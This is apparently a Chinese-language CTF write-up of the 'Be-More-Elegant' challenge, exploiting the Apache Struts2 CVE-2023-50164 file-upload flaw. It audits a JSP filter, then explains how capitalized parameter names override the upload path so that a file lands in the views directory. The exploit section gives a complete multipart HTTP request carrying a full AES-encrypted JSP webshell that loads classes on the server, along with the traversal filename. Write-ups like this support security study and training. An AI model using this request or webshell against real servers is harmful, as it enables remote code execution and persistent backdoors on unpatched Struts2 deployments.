Real World CTF Online Jeopardy

Be-More-Elegant

此时打开靶机之后发现存在一个文件上传的界面

此时我们先随便传一个jsp木马;发现上传成功但是文件却无法解析。此时怀疑是statics/uploads/这个静态目录不解析的原因。因为其提供了附件,所以我们先进行白盒审计。

白盒审计

WEB-INF\classes\be\more\elegant\filter存在一个JspFilter.class我们先从这个文件开始审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package be.more.elegant.filter;

import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;

/* loaded from: JspFilter.class */
public class JspFilter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String path = ((HttpServletRequest) request).getServletPath();
if (!path.startsWith("/views") && (path.endsWith("jsp") || path.endsWith("jspx"))) {
throw new ServletException("jsp not allowed");
}
chain.doFilter(request, response);
}
}

此时上面的过滤点在于如果我们上传的目录不在views目录且文件后缀以jsp、jspx结尾的话就抛出"jsp not allowed";此时我想以文件名绕过时发现使用jspf依旧是上传到statics/uploads/目录且无法进行解析。所以此时的想法就是能否让上传的文件进行目录跨越实现文件的成功落地。

CVE-2023-50164

此时杨哥给我了个cve让我去试试;此时看了看漏洞的原理发现确实跟此题所需要利用的条件满足。

参考文章:https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/#%E5%88%86%E6%9E%90

在阅读之后知道了漏洞的原理在于Map的储存结构,在Map结构中大写会进行优先处理

1
2
3
{Upload=File{name='Upload'},
UploadFileName=File{name='UploadFileName'},
UploadContentType=File{name='UploadContentType'}}

因为在Map结构中大写会进行优先处理,所以此时我们再次传入的小写的可以覆盖大写的内容,我们还可以控制参数的顺序。所以此时我们可以而通过数据的覆盖,来实现目录的绕过。

漏洞复现

而在试了几个exp之后发现这个漏洞对传入的参数名称有要求;所以我们继续进行代码的审计,将我们所需要传入的参数找出。

可以看到在HeaderIconAction.class提供了源码供我们审计;在其中我们发现了这几个比较重要的参数

1
2
3
4
5
6
7
8
public class HeaderIconAction extends ActionSupport implements ServletRequestAware {
public static final File UPLOAD_DIR = new File(HeaderIconAction.class.getClassLoader().getResource("../../statics/").getFile(), "uploads");
private HttpServletRequest request;
private String uploadedPath;
private File fileUpload;
private String fileUploadContentType;
private String fileUploadFileName;

那么此时我们就可以根据这个漏洞原理开始构造exp

exp

按照Map存储的调用顺序我们即可构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /upload.action HTTP/1.1
Host: 47.99.57.31:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------35694297023876017222602509494
Content-Length: 3066
Origin: http://47.99.57.31:8080
Connection: close
Referer: http://47.99.57.31:8080/
Cookie: JSESSIONID=7ACF941FB05106969371B850A85C1B70
Upgrade-Insecure-Requests: 1

-----------------------------35694297023876017222602509494
Content-Disposition: form-data; name="FileUpload"; filename="lyyzz.jsp"
Content-Type: text/plain

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
-----------------------------35694297023876017222602509494
WebKitFormBoundaryY385h4MTlqJ1voWB
Content-Disposition: form-data; name="fileUploadFileName";
Content-Type: text/plain

../../../views/header_icon/lyyy.jsp
-----------------------------35694297023876017222602509494--

exp原理

此时我们将参数的第一个字母改为大写,所以此时的FileUpload优先被处理,接着我们再通过fileUploadFileName来设置路径和文件名;经过Map存储的调用顺序,最后会变成

1
2
3
4
{FileUpload = File{name='FileUpload'}
FileUploadFileName = File{name='FileUploadFileName'}
fileUploadFileName = ../../../views/header_icon/lyyy.jsp
UploadContentType=File{name='UploadContentType'}}